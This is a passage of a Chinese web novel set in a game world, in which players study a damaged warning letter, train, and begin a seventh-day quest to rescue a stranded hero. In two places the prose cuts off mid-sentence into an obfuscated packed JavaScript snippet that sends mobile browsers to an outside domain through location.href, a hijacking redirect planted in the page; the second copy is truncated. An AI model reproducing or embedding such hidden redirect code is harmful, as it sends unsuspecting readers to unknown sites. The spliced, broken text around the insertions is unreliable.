令人没想到的是,孟秋听到她的话,脸上的笑容竟瞬间消失了。 她瞪大了圆圆的眼睛,极度紧张地看着师襄,连声道:“不不不……我建议你,不要去想这种事情,这是很危险的哦,要付出很大代价的哦!” “所以说未来的人真的可以突破某种限制联系到我们?”师襄立刻捕捉到了她隐藏的意思。 “别问了,别问了!”孟秋赶紧捂住自己的耳朵,一溜烟地躲到柜台后面,“知道这种事对你们没好处,我是绝对不会告诉你们的!” 眼看着这小姑娘脚底跟抹了油似的溜得飞快,而且铁了心的不配合,再为难她也没有什么意义了,玩家们对视一眼,心照不宣地起身离座,该去点卯的点卯,该吃饭的吃饭,该去兑换玉签的换玉签,各自都散开了。 “……至少从她目前透露出的意思来看,这个颂命如果真的是新玩家,必然是付出了很大代价才送来了这封信,这样的话,信的内容,就更加值得重视了。” 仇非和师襄一路边走边聊,走到楼梯口时,仇非还特地往楼下看了一眼,发现柳七刀离她们还有相当一段距离,才继续道:“其实孟秋说要付出代价的时候,我反而松了口气,这样的话,颂命这个人更可能是友而非敌,应该没人会愿意付出很大代价送来一封提醒敌人注意安全的信,而且柳七刀那种个性也不太可能和新玩家结仇。” “这倒是。”师襄点点头,“不过,为什么信是给柳七刀而不是你或我?你想过这个问题吗?” 仇非很干脆地点了点头:“想过。最好的结果是他们俩未来交情会比较好,最坏的结果,你我都应该心知肚明了吧。” “我反正是不觉得我会死在第七天。”师襄凉凉地笑了一声,“第五天都捱过来了。” 她们俩正聊着,唐逐星和行守也从楼下走了上来。 双方打过招呼,谜语人队的两个人就朝自己的房间走去。 听着身后传来的对话声,行守不由感慨:“聪明人真是可怕,那么少的线索也能分析得头头是道。” 唐逐星却轻笑道:“我倒是觉得,如果让我来写信,我也不会指定她们来读信,柳七刀那样的就刚刚好。” “怎么说?”行守来了兴趣。 “因为她们都太聪明了,聪明人不适合这种事情。”唐逐星道,“聪明人和热血笨蛋不一样,他们冷静、谨慎、会做利益权衡,一旦立场改变,这样的智慧就会变成刺向自己人的刀。” “哦。”行守点点头,忽然又问,“那假如说,现在你被困在一个地方,只有一次求援机会,你是找付井仪还是尹有攸呢?” “呃,但是话又说回来……” 六天的休息时间转眼一晃而过,很快又到了该出发的时候。 孟秋把桌面上歪七扭八的茶杯一个个摆好,端着托盘路过窗边时,又抻着脖子朝外看了几眼。客栈门前的山坡上,玩家们两两成组正在过招,虽然手中拿的都是些树枝,但是比划起来也是猎猎生风,看着一点儿水都没放。 这群人刚从“有间客栈”回来没多久就练上了,这还是她头一次在客栈看到这种景象,也不知道他们是为了什么这么拼命,眼看着明日就要开启第七天了,似乎也没有休息的打算。 难不成是在第六天发生什么了? 孟秋从口袋里摸出一块饴糖放进嘴里,蜀黍浓郁的香气带着甜滋滋的味道在舌尖划开。老板娘正低头翻着手上的簿子,没注意这边,于是她干脆趴在窗边托着腮津津有味地看了起来。 ——柳七刀警惕地后退两步,充当新亭侯的树枝横在面前,与亓秀秀拉开距离。 亓秀秀微微侧身,双手持树枝,也是紧紧地盯着他,似乎在寻找破绽。她的力气稍稍逊色一些,但剑法轻捷凌厉,身形更是灵动轻盈,路数刁钻,应对起来有些棘手。 贴身缠斗柳七刀未必能有优势,只得用刀法并腿法压住攻势,制敌先机。眼见亓秀秀没有率先出手的意思,他冷不丁抬腿横扫过去,满地落叶与枯枝被卷到空中的同时,右手树枝已经挑起地上一段枯木急旋两圈,即使是树枝也舞出了飒飒刀势的凌厉感,当头向亓秀秀挥去。 亓秀秀后仰躲过这一击,眼看着脚下要失去平衡,柳七刀更是变横挑为竖劈准备接上这一势,刚要欺身上前,却看到她单手在地上一撑,以一个不可思议的角度翻身跃起,手中树枝顺势沿着右臂刺了上来。 树枝上点了朱砂,在他肩头留下一个鲜红的印子。 “你进攻的时候,右半身就会露出破绽。”唐逐星在旁边研究新机关,没有参与切磋,此刻放下手中寒光闪闪的箭镞,点评道。 亓秀秀深以为然地点点头:“不止他,很多近战都有这个问题。” “真的吗?”柳七刀挠挠头,心里暗道,看来得多注意一下了。 这会儿天色已经有些晚了,大多数人都结束了切磋,只剩下方叱羽和尹有攸还在过招。不同于其他门派,这两人不需要武器也能打起来,掌风凛冽,身形飘逸,震得林间树木连枝带叶哗哗狂响,乍一看还以为在拍什么武打电影。 他们俩在那里过招,疾夜和尹有攸从赵云睿那里新得的、孵了三天才破壳的赤箭正靠在一起互相整理羽毛,还有个鹦鹉蹲在疾夜的头顶,眨巴着黑漆漆的小眼睛不知道在想什么。 “走啦。”龙葵招呼道,顺手把鹦鹉抄起来放在谢不若斗笠上,“今天早点休息。” 一行人浩浩荡荡涌进客栈,正好遇到飞琼从后厨出来,手里还提着一叠食盒。 “又带饭啊。”走在前面的叶九溪和她打招呼,“其他人今天也不下楼?” “是啊,一个个都忙得很。”飞琼郁闷道,“她们研究的东西我也听不懂……唉,明天我也加入你们好了。” “下次吧,明天我们要去第七天了。”仇非道,“你们刚从浮景峰回来,多休息一段时间比较好。” 大概是奖励关卡比较特殊的原因,他们和恰鸡队已经有了天数上的时间差,在回到客栈的第二天,恰鸡队才结束了浮景峰的旅程,姗姗来迟。 据说,他们在浮景峰接到的任务也十分特殊,竟然是捉迷藏,只有在那个大到离谱的地图中分别找到奇货商人、琴师、赶考书生和旅人并将他们带回到渡口乘上客船,才算是结束第六天。 这个任务的难度在于客船到了时间就会自动出发,如果在规定的时间内没有上船,玩家就会被全部抹杀;而如果没有带回正确的人便自行登船,玩家也会被抹杀。 浮景峰这张地图依山临水,群峰连绵不绝,丛林深密、野兽盘踞,想要用常规手段捉迷藏显然是不可能的,他们想了很多种方法,最后甚至生出了放火烧山的危险念头,却统统无济于事。 在时限的最后关头,他们也没能完成捉迷藏,眼看着浮景峰的天边也如书页般燃烧扭曲起来,整支队伍已经快被绝望所笼罩,只能先一步向着渡口靠拢。生死一线间,龙池乐灵光一闪,跳上了正在缓慢驶离渡口的客船,竟在被竹帘遮住的船舱中找到了四只包裹,里面分别装着西域香料、木琴、古籍和衣物。 ——原来,玩家们要寻找的所谓“奇货商人”“琴师”“赶考书生”“旅人”,从一开始就是他们自己,那条不许玩家独自登船的规则,也是用来防止玩家们误打误撞找到生路的。等到四人都拿好了包裹,再掀开竹帘走出船舱时,便看到蒋玉凤已经站在了船头。 那浮景峰里盘桓着无数野兽毒物,还有不少迷惑玩家的假线索,身处其中,很难想到真正的生路其实就在规则明令禁止涉足的客船上。提起这事,飞琼仍然心有余悸,摇了摇头:“我们已经决定把第七天换成‘有间客栈’了,这样可以拿着奖励应对第八天,说不定里面会有一些有用的东西。” “这样也好。”仇非点点头。 “颂命的事,跟龙池乐她们说了吗?”人群之后,李千驰小声问师襄。 “没明说,那封信的性质我们自己都还没办法确定,只提了一下第七天风险很大,有间客栈里可能会有提示。”师襄低声道,“不过,既然恰鸡队打算换掉第七天,那封信跟他们就没有关系了。” 飞琼同他们一道上楼,边聊天边打了个呵欠,眼下的青黑透露着一股遮盖不住的疲惫。第六天有人机代替已经被淘汰的纪湘君加入队伍,想必对他们的精神来说也是一种极大的折磨,众人都很识趣地没再提这事,只是让她回去好好歇息。 “哎……”回到房间,谢不若把斗笠一摘,扔在床上,鹦鹉扑棱棱地飞起来落在窗台瞪着他,“浪客行这些任务怎么越来越离谱了,想得到就很简单,想不到就很难,万一钻了牛角尖,岂不是直接完蛋。” “她们只是说得轻巧,实际情况估计更加复杂,生路看似很容易想到,但现实中应该少不了干扰。”仇非道。 她一反常态地没回里间,而是直接在外面的桌边坐了下来,搞得祁云纵道袍脱到一半又紧急穿了回去,龙葵见状撇撇嘴:“放松点,又不是没看过。” “你怎地凭空污人清白——”祁云纵话还没说完,饿了么的房门就被敲响了。 柳七刀离房门最近,一开门,就看见付井仪站在门外,手里还拿着他非常眼熟的那半张信纸。看到开门的是他,付井仪礼貌地冲他点了点头,顺手便将信纸递了过来:“你的信,收好。” “哦哦,好的。”柳七刀接过信纸,愣了一下,发现上面多了不少纵横的黑色纹路。 这些黑色纹路,大部分是吻合信纸褶皱、毫无章法的痕迹,但也有一部分呈现出规律的交错感,组成了类似汉字的模糊线条,看起来就像是用铅笔在纸上涂抹过之后显现出来的压痕。 “我和殷炽一起做的,工具有限,只能研究到这个程度了。”付井仪道,坐到仇非对面,又取出一张纸来,在桌上铺开,“这是我们关于前一页信纸的内容整理出来的有效信息。” 付井仪是文字学专业的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691214|173353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,大家都知道了,龙葵便忍不住问:“殷炽还懂这个?” “殷炽学过痕迹检验。”付井仪道,“颂命写这封信用的是炭笔,虽然他手下力度很大,但能留下的笔迹还是很有限,再拆分的话可能会毁了原件,总之,只有这些了。” 柳七刀心道原来如此,又探头去看付井仪整理出来的东西,除了那几句他都已经倒背如流的警告之外,又多了一些新的内容。 可惜的是,因为这张信纸的残缺,这些新的被整理出来的内容也不连贯,只是一些部首和字词。 夜晚。 钅。 丶面。 这些已经算得上清楚了,此外,还有一些根本就没法判读出来的零碎笔画,而在这些笔迹下面,唯一一句能连起来的,是一个短句。 不要信,切切记。 “切切记是什么?”祁云纵皱眉,“叠词词恶心心。” “……”仇非无语,“不是切,是七刀,七刀切记。” “看来你和颂命还真挺熟的。”谢不若啧啧两声,“但是他让你不要信什么呢?” “我真不知道啊。”柳七刀无奈,看着自己手中那半截信纸,墨痕和炭灰混乱地交错着,也真为难了殷炽和付井仪,亏他们能从这么模糊的痕迹中读出字来。 他将信纸揣进怀里,和颂命的箭羽一起稳妥地放好。 付井仪将消息送到就告辞了,留下一屋人围到桌边,对着他留下的那几个词继续沉思。 “夜晚,是第七天的晚上吗?入夜会发生什么事情?”祁云纵从桌下抱了一堆纸笔出来,在桌上写写画画,“钅这个部首……相关的字太多了,不过一般都与金属相关吧。最后这个‘丶面’,难道是下面?” “不像,这个‘面’前面的‘丶’,位置很靠下,又像是独立出来的。”仇非思考道,“按照这个颂命写其他字的方式来看,他的字体结构很紧密,如果是‘下面’,‘丶’的位置应该再往上一些。” “有没有可能是四点水的最后一笔?”龙葵道,“黑、热、熟之类的……煮面?” 这话一说出来她自己都觉得离谱,摇了摇头。 “不行啊。”谢不若把笔一扔,“信息太少了,可能性又太多,根本想不出来。” 柳七刀看他和祁云纵在纸上写了一堆字,全是什么“锋”“铸”“锐”“钝”之类的,不愧是剑纯和刀宗。 “想不出来就别想了,早点睡。”仇非道,又转向柳七刀,“七刀,既然这封信里提到了‘不要信’,到了第七天,你也特别留意一下,不要轻易地相信你所看到和听到的某些信息。” “嗯,我知道了。” 柳七刀应了一声。 虽然说了早点睡,但等他躺在床上时,依旧能看到从里屋的门缝间隐约漏出来的烛光,显然仇非她们还在研究那些字。 他也睡不着,在黑暗中举起右手,看着隐约的手掌轮廓,愣愣出神。 和谢不若被满嘴利齿的小谷追得四处逃窜、和龙葵傻傻地尝试如何组队、拔腿去追误将他们当做NPC的祁云纵、看到仇非提着盾刀像天神一样从竹林里杀出来…… 湘竹溪的一幕幕景象,他依然记得非常清楚,倒不如说想忘记也难。 第七天了啊…… 第七天、第八天,只要再度过这两天,他们就可以在第九天回到现实中去了。 说来也奇怪,这一路上经历回想起来明明非常漫长,却似乎又短暂到在弹指一挥间就可以望穿。不过,想到浪客行其实只是一本书的话,那他们的这些过往可能也只是寥寥几页而已,在书外人读来,可不就是一瞥的事情么。 黑暗中,他缓缓收拢五指,握紧了拳,深深地呼了口气。 “书”,这说法也太烂了——好像有人在将他们当成可以随意摆弄的木偶操纵着,书写着所谓的故事情节一样。迄今为止,他们所有的努力、挣扎和抗争,不应该也不可能被看成是故事里那些戏剧性的表达,只有他们自己才能决定自己要做的选择、要走的路。 想到这里,柳七刀心潮澎湃,攥紧了拳,喃喃道:“一定……” “一定什么?” 烛光亮起,灯火摇动,谢不若隔着屏风坐起来怒道:“大半夜的搁这打军体拳呢!快睡!” 柳七刀熄火了。 夜月明,夜风清。客栈外雾气渐沉,沙洲上苇丛摇动,涛声轻柔,一夜无梦。 翌日清晨,孟秋打着呵欠,端着茶盘走进大堂。 错杂的脚步声自楼梯上响起,她抬头一看,便看到那只胖了不少的鹦鹉扑扇着翅膀飞了下来,目标非常明确地落到了她手中的茶盘上,很不客气地跳进一只杯子里,就着温水整理起了自己的羽毛。 饿了么队一行五人下了楼,和孟秋打过招呼,坐到了桌旁,似乎在等人。不多时,另外三支队伍也陆续来到了大堂。 这些人的到来让客栈里的气氛也跟着改变了,有一种严阵以待的凝重,和前几天对练时那种热火朝天的感觉完全不同。但不知道为什么,孟秋这样细细打量过去,又觉得有种莫名的兴奋感,每个人看起来都像是弓弦上蓄势待发的一支利箭,只待流电破空,穿云射日。 “人都到齐了,那就出发吧。” 师襄是个急脾气,率先开口道。 行守的性子最为温吞稳重,等所有人都站在了蒋玉凤跟前,便道:“不知道这次我们是不是还会被分在一张图里,第七天结束后,在这里再会吧。” “那当然了。”李千驰用力地拍了拍他的肩膀,亓秀秀也笑眯眯地俯下身和曲小蕨勾了勾小拇指。 蒋玉凤温柔地看着众人的动作,轻声问:“要开启下一趟旅程么?” 第七天要来了。柳七刀感觉心跳微微加速,他伸手摸了摸揣在胸前的箭羽,认真道:“开始吧。” 蒋玉凤微微一笑。 “翡翠揽碧,飞瀑凌云。人间风月,瑶池仙境。这是你们的第七天。” 欢迎来到翡翠瑶池。 67. 第七天·翡翠瑶池(六十七) 轻微的晕眩感褪去,柳七刀摇了摇头,睁开眼的一瞬间有点惊讶。 他虽然是个纯PVP,但浪客行周常还是混的,当然知道这张图,但他印象中的翡翠瑶池一直是白天,而此刻却是黑夜,月隐星藏,阴云密布,远山只剩下黑暗的轮廓,幽邃密林中偶尔传来几声夜枭啼鸣。 夜晚。柳七刀立刻想到了颂命在信上提到的关键词。 “嚓”的一声轻响,龙葵吹亮火折子,往后照了照,开心道:“大家都在啊,看来这也是一张大团地图。” “别用那个,我们这有更好的。”裴洛川说,直接从背包里取出几个自制火把,引了火一一分过去,明亮的火焰跳动起来,一时间将这一小片天地照亮得如同白昼。 四支队伍又被分在了同一张图,而且是同一个位置,老实说,二十个人打着火把站在一起,什么诡异的氛围也该被冲得一干二净了。借着火光,众人打量四周,发现他们正站在一条林间小径上,火光清晰地勾勒出头顶茂密丛林的轮廓,而另一侧却仍然一片漆黑,显然十分空旷。 从空气中湿漉漉的水雾来判断,他们很可能就站在翡翠瑶池中那宽阔的大湖边缘。 “有瀑布的声音。”尹有攸侧耳细听,“很热闹。飞鸟、走兽……全都有。这林子是活的。” 怕众人不理解,他又补充了一句:“和湘竹溪那时候不一样。” 这么说就清楚多了——如果说完全没有活物、一片死寂的湘竹溪是“死的”地图,那么翡翠瑶池显然就是“活的”。柳七刀甚至看见脚边长草里有什么速度极快的东西一闪而过,碧绿的长尾一甩就消失得无影无踪,似乎是一条被他们惊扰的蛇;与此同时,头顶的树林中又传来几声咕咕,他抬头看去,在茂密的枝叶间找到了一对充满警惕的黄褐色的眼睛。被发现后,扑棱棱挥舞翅膀的慌乱声音传来,这位树上的客人选择了离开。 ——没有主动攻击,这些小动物都不是红名。 “还挺和谐的。”曲小蕨嘀咕道,从腰间抽出太上忘情,看向付井仪,“小付老师,要放天蛛去探探路么?” 付井仪还没来得及回答,便感觉到手心里一沉,两人同时低头看去,就看到一块令牌突兀地出现在各自手中。 不止他们,所有玩家身上都突然多出了这块纸折成的令牌。 第七天的任务来了! 柳七刀的心提了起来,他举起令牌凑近火把,便看到空白的牌面缓缓显示出一行字迹来。 和第五天细致且复杂的规则不同,第七天的任务非常简单,简单到只有六个字: 救助落难侠客。 不过几秒,似乎是确保他已经看过了任务,这块令牌开始剧烈发烫,随着柳七刀松手的动作漂浮在半空,无风自燃,很快就化作了一堆飞灰。 “这任务可不怎么样。”看着令牌消失,仇非脸色微变,“得快点找到落难侠客。” 游戏中的浪客行也有这个任务,玩家需要在红名怪的攻击下保护落难侠客,让他能够自行疗伤,而在此过程中,落难侠客也会和玩家们一起战斗,抵御敌人。至于这个落难侠客的实力—— “战斗力固然近似于无,血条更是脆得令人着急。”陆厌如是点评道。 游戏里,玩家角色和落难侠客进行过确认后,战斗才会开始,但现在谁也说不上来这规则还是否适用。如果将他们进图的一瞬间视作战斗开始,那恐怕这位不知身在何处的倒霉兄弟早就已经命悬一线了。 虽然第七天的规则里没提到失败抹杀之类的惩罚,但想也知道,如果落难侠客死亡,这个任务显然是不可能完成的了,永远留在第七天和直接被淘汰好像也没什么差别。 仇非话音刚落,清脆的口哨声便紧跟着响起,李千驰翻身上马,扬声道:“那我就先走一步了!” “雕兄!”方叱羽紧跟其后,轻轻拍了拍疾夜的脖颈,“我们也去!” 剩下的人没有海雕也没有小绿,只能靠两条腿徒步寻找。谜语人那边,天蛛已经迅速地没入草丛之中,赤箭也像一道剑光一样,紧跟着疾夜飞上了天空。 谢不若看得眼热,边跑边给了在肩窝里打盹的鹦鹉一个脑瓜崩,恨铁不成钢:“你看看人家,你再看看你!” 龙葵不乐意了:“干什么,人家只是一只弱小无助的小鹦鹉,又不能打架。” “分头找,但是别分开太远!”师襄放出全部影子,喊道,“现在还不能确定这里有没有人机,有危险立刻喊身边的同伴!” 他们折腾出的动静大了一些,惊起了一大片鸦群,嘎嘎怪叫着朝更幽深的丛林中飞去了。柳七刀回头看了一眼,似乎隐约看到黑暗的树丛中有几双绿色的眼睛正注视着他们,似乎是惧怕玩家们手中的火把,踟蹰不前。 他也顾不上好奇那些眼睛究竟属于什么动物了,现在最要紧的就是找到落难侠客。和其他人打过招呼,柳七刀便选了个方向继续搜索,一边跑一边将新亭侯解下来提在手中,全神戒备着四周的黑暗。 随着他的前进,脚下蜿蜒的林间小径逐渐变成了木质的栈道,而这栈道似乎常年被水汽腐蚀,一脚下去连泥带水,空气中湿润的水汽也越来越重,不远处隐约传来低沉的轰鸣,像是瀑布的声音。 火把一晃,突然照出一个黑影来,柳七刀一个急刹车,才看清楚那是一只在饮水的鹿。乍见亮光,鹿比他更惊慌,后腿一个蹬跳,飞快地冲进树丛里跑远了。他定了定神,放慢脚步走过去,才发现不知不觉中已经跑到了湖边。 深夜里,看不清这湖面究竟有多宽,放眼望去全是黑沉沉的一片,那瀑布的声音也越发清晰,只是今夜没有月亮,水面暗沉无光,看不清具体的位置。 他心下着急,落难侠客要是在湖里的话,那可真是天要亡他们,但是在这种环境下贸然下水搜寻,也绝对算不上明智的选择。 当下只能先绕着湖边搜索一圈了,希望落难侠客不喜欢游泳。柳七刀苦中作乐地想着,刚迈出去一步就感觉靴子一凉,哗啦一声,从栈道的缺口处踩进了水里。 岸边的水很浅,应该只没过他脚腕,但靴底传来的柔软淤泥的触感却令人头皮发麻。他的动作还带倒了一束水边的苇丛,顿时便有一群群小飞虫从苇丛里飞出,被柳七刀手中火把的亮光吸引,朝他扑了过来。 视线被密密麻麻的飞虫遮挡,变得灰蒙蒙一片,柳七刀捂住口鼻挥动火把,艰难地继续沿着湖边前进。越靠近湖水,栈道朽坏得就越厉害,到最后直接消失在茂密的草丛和芦苇之中。脚下浸透了水的树根藤蔓错杂盘绕,稍不注意就会被绊一个跟头,连岩石上都生满了湿滑的苔藓,虫群更是劈头盖脸地成片撞过来。好几次用新亭侯拨开拦路的芦苇时,他的余光都扫到刀鞘的一侧落满了花色斑斓的软体虫子,又没有工夫去清理,只能硬着头皮瞪大眼睛,生怕在某处错过了落难侠客的身影。 唯一值得庆幸的是,翡翠瑶池的日夜循环还是正常的,在寻找的过程中,柳七刀能明显地感觉到周围的光线正在一点点变得明亮,远处传来的清脆鸟鸣也逐渐增多了,显然,黎明即将到来,山林正在苏醒。 看来,颂命写下的“夜晚”,并不是指这张地图会一直维持着夜晚的意思。 不知过了多久,在堪堪能分辨周遭景象的熹微晨光中,他忽然听到有人在喊叫。 声音是从很远的地方传来的,柳七刀转过身循声望去,只能看见暗色天空中掠过一群惊飞的鸟,立刻掉头朝鸟群飞来的方向跑去。 他顺着湖岸一路狂奔,很快就被突起的巨岩拦住了去路。湖岸线到这里就结束了,前方是怪岩嶙峋的山崖,平静的湖水流到这里便忽然急转直下,溅起扑天的水雾。 ——翡翠瑶池这张地图,只有中心大大小小的湖泊处地形才略微平坦一些,四周都是连绵群山,林木幽密,岩层高低错落,对于没有大轻功的玩家来说还挺难走。好在柳七刀是个霸刀,他脚下步伐不停,跃起的同时一道刀墙便劈了出去,飞快地冲过了这段山崖。 后方的山岩上也满是青藓,时不时还有倒伏的巨木拦住去路,他只能强行翻过去,遇到成片勾连的藤蔓,干脆就直接一刀劈断。如此这般艰难地前进了一段路,天都快大亮了,却也没再听见那人继续呼喊。 柳七刀正焦急间,就听到头顶传来猎猎风声,抬起头,疾夜正张开宽大的双翼在天际来回盘旋,随后往某个方向笔直地飞去。 “看来他们已经找到落难侠客了。” 旁边的树丛后也传来脚步声,却是唐逐星也看到了疾夜的身影,跟了上来。一会儿不见,他的校服下摆便多了不少泥泞,柳七刀看着他就知道自己肯定也没好到哪儿去,两人打了个招呼,默契地朝疾夜飞走的方向继续前进。 “翡翠瑶池这张图,应该是截取了树正群海的一部分。”唐逐星赶着路,还有时间分析,“但是这里比游戏中的地图大太多了,对玩家来说不是什么好事。” “树正群海……”柳七刀被吸引了注意力,好奇道,“那是哪?九寨沟?” “对嘛。”唐逐星点点头,从怀里掏出一张纸来抖开,扫了一眼,“翡翠瑶池就四个湖,单我刚刚经过的一个湖就大得离谱,湖泊之间的海拔差也变大了。” 柳七刀跟着瞄了一眼,发现他拿的竟然是一张手绘地图,顿时肃然起敬。 又这样跑了大概有香篆钟半圈的时间,天已经完全大亮,而两人也终于在另一口湖泊边看到了其他人的身影。这里陆陆续续已经聚集了十多个人,大家看上去都灰头土脸的,柳七刀一眼在人群中看见了龙葵和祝灵正,顿时便松了口气。 有他们俩在,落难侠客应该是还活着。 “你们来了。”叶九溪招呼道,示意他们俩看被众人围在中间的人。 那是一个坐在地上的青年人,并没有少胳膊少腿,看起来还算健康。柳七刀仔细打量,这人穿着一身利落的粗布麻衣,作游戏中的落难侠客打扮,身份不言自明。但不知为何,他此刻正垂着头恹恹地坐在地上,衣服也看得出被打湿的痕迹,一副精神不振的样子。 “什么情况,受伤了?”柳七刀小声问龙葵。 “李千驰先看到的,当时在水边趴着,昏过去了。”龙葵摇摇头,“我和祝灵正的治疗技能对他都没用,不过检查过了,没有外伤,现在这个情况多半是……” 她脸色古怪:“高原反应。” “啊?”柳七刀傻眼。 “正常的。”唐逐星反而接受良好,伸了个懒腰,看向远方的群山,隐约的云雾后可以看到最高的山峰上积满了白雪,“九寨沟本来就在高原上,树正群海海拔两千多,这地图还魔改过,这雪线我估计得有个四千多米了。” “本地人是专业哈。”龙葵点点头,又指了指那边趴在马背上眼冒金星的李千驰,“喏,那边还有个跑太快了缓不过来的,也有点高反,歇会儿就好了。” “这样啊。”柳七刀扫了一圈,谢不若看起来是早早地就到了,却不见仇非和祁云纵,“非姐和祁云纵没到吗?” “祁云纵跑得慢,你看卫山河不也还没到么。”谢不若摸了摸下巴,确信,“非姐啊,我估计她一开始就选了个反方向,这会儿赶回来需要时间。” 事实证明,谢不若的估计是完全正确的。仇非因为选错搜寻方向,在全门派赛跑比赛中力压纯阳,成为最后一名。而在所有玩家都到齐之后,好像受到了什么召唤一样,一直半死不活的落难侠客突然来了精神,一阵虚弱的咳嗽,吐出了不少水。 玩家们纷纷靠近,就看见落难侠客抬起头,颤巍巍地伸出一只还沾着淤泥的手,然而还没等他选择好抓住谁,就被龙葵翻过来一把按住,并指挥着祁云纵和谢不若一边一个将落难侠客摆正姿势,她自己非常专业地上手,掰过落难侠客的脸查看瞳孔。 一通检查之后,龙葵得出结论:“没有大碍了。” 全程被摆布的落难侠客没走完流程,整个人看起来十分迷茫,片刻后才整理好情绪,继续颤巍巍地抓住没来得及撤退的祁云纵:“侠士,我被人追杀流落此地,还请各位帮忙,让我能够疗伤……” “知道了知道了。”祁云纵道,“杀谁?” 落难侠客:“?” 仇非无语把祁云纵拎走,那边曲小蕨凑上去,诚挚道:“您说,需要我们做什么,无论是捡粪球还是刺杀安禄山,那都不是事儿。” “倒也不用刺杀安禄山……”落难侠客被震撼多次,人已经麻木,选择了独自走流程,“各位大侠,仇家我已经甩掉,但要想疗伤,还得请各位为我寻一些药草来——” “看看我们这里的凝血精金疮药特制绷带,你要哪个?”陆厌热情兜售道,“保准比那些药草好用多了!” “——就请各位为我取来凝血草和毒清草吧。”落难侠客的眼中已经失去了神采,仍然坚强地发布着任务,“天黑前请务必回到此处,不然我可能会暴毙而亡。” 嘻嘻哈哈的玩家们不笑了,开始盘算“暴毙而亡”的重量。 “怎么说,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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落难侠客被他盯得后背发毛,干脆眼睛一闭,晕了。 “这是落难侠客吗?我们找错人了吧。”曲小蕨都无语了,“好无赖啊!真的好无赖啊!” “看他身上的衣服非常合体,各种生活痕迹都在,也不像是从别人那里偷来的,至少这建模确实跟落难侠客一模一样。”亓秀秀抿起唇,“等会儿去采集药草的时候,再看看还有没有别的落难侠客吧。” 他们说话的工夫,陆厌已经找裴洛川要了纸笔,画出了他印象中的药草图标。大家都凑过来看,半晌,方叱羽疑惑道:“这什么?” 曲小蕨沉思:“看起来好像是开花的小草、烟花应援棒、长瘤子的海葵和大白菜呢。” 这画并没有给玩家们带来希望,反而又造成了更加沉重的打击,陆厌赶紧解释:“有特征的,这些都是有特征的!” 他介绍道:“第一个的花是淡紫色花瓣,淡黄色花蕊;第二个是绿色,叶片呈束状,底下有根;第三个的花是红色,花萼细窄且长;最后白菜就更好找了,九寨沟应该不长白菜吧。” 所以你也觉得那图标像白菜吧!柳七刀在心里默默吐槽。 “等一下。”祝灵正小声道,“长瘤子的海葵……是不是就是它?” 众人顺着他指的方向望去,在落难侠客靠着的岩石缝隙里,竟然开着一株红色的花,正如陆厌所说的那样,它的花萼十分细长,有些弯曲,向各个方向伸展着,乍一看,确实有些像海葵。 叶九溪伸手将它摘了下来,碰到那花的时候,动作突然停顿了一下,眼睛也跟着一亮。 “是凝血草。”他将那朵花递给陆厌,“有物品说明!” 物品说明! 游戏里面本身存在的道具,在浪客行里,只要被玩家们触碰到,就会出现物品说明,纪空山和纪湘君的长命锁是这样,师襄的轮回珠也是这样。果然,天无绝人之路,如果有物品说明的话,这个不可能完成的任务顿时就有了完成的希望。 这瘤子海葵在兴奋的玩家们手里传了一遍,到柳七刀手中时,他的脑海中果然缓缓浮现出了凝血草的说明。 “——隙有灵草,可生骨肉,可凝败血,其效立现。” “兄弟,醒醒。”谢不若把落难侠客摇起来,举着凝血草给他看,“是这个吗?” 落难侠客掀开眼皮,看清之后,立刻接过凝血草:“还差二百九十九株。” 谢不若磨磨牙,拎起他的衣领,恶狠狠道:“你小子,知道这草长什么样是吧,耍人呢!” 落难侠客被他拽着,颇有一种死猪不怕开水烫的精神,目光在所有人之间转了一圈,忽然道:“诸位,此处地域宽广,如果不赶紧寻找的话,恐怕时间会来不及。” 这话倒不假,谢不若刚松开手,却听到落难侠客又说: “我在被追杀之时早就看过了地貌,此地被湖泊四分,是以我将你们分列四队,分别寻找。” 说着,他就开始在人群里指指点点:“你、你、你、你、你们……” “哦哦,不麻烦你了,我们有队了。”裴洛川摆摆手,敷衍道。 落难侠客手一顿,看着他,突然毫无预兆地,“哇”地吐出一大口血来! 这一下把所有人都惊住了,龙葵反应迅速,上前检查他的身体,祝灵正也立刻切天人合一用三星临奶了他一口,然而治疗技能对他还是无效,也没有发现什么外伤。 在玩家们的惊疑不定中,落难侠客擦去嘴角的血迹,虚弱道:“……按照我的做法来,不然我就会暴毙而亡。” “……我现在就想让你暴毙而亡。”师襄冷冷道,她最讨厌被威胁,凉凉地扫了落难侠客一眼,努力按下心头怒火,“再指一遍,刚刚没看清。” “你、你、你……”落难侠客果然又指了一遍,付井仪看着他的动作,微微摇头:“和上一次不一样,确实是随机的。” 随机就意味着分队暗藏阴谋的概率会小一些,当然,也不能完全放松警惕。 按照落难侠客所说,他将分割翡翠瑶池的四口湖泊分别命名为甲子湖、甲丑湖和乙子湖、乙丑湖,其中以甲开头的两口湖泊分列东西,面积较大;以乙开头的两口湖泊纵列南北,面积较小。 总而言之,这样一通乱指下来,四支队伍已经被完全打散。 以落难侠客的分法,去往甲子湖的五人为:谢不若、祁云纵、付井仪、尹有攸、龙葵。 去往甲丑湖的五人为:仇非、叶九溪、唐逐星、师襄、卫山河。 去往乙子湖的五人为:柳七刀、方叱羽、亓秀秀、曲小蕨、殷炽。 去往乙丑湖的五人为:李千驰、裴洛川、行守、陆厌、祝灵正。 68. 第七天·翡翠瑶池(六十八) 根据唐逐星的地图来看,翡翠瑶池的四口湖泊错落分布,小湖居中,大湖分列两翼,像密林深谷中一只振翅欲飞的蓝色蝴蝶。 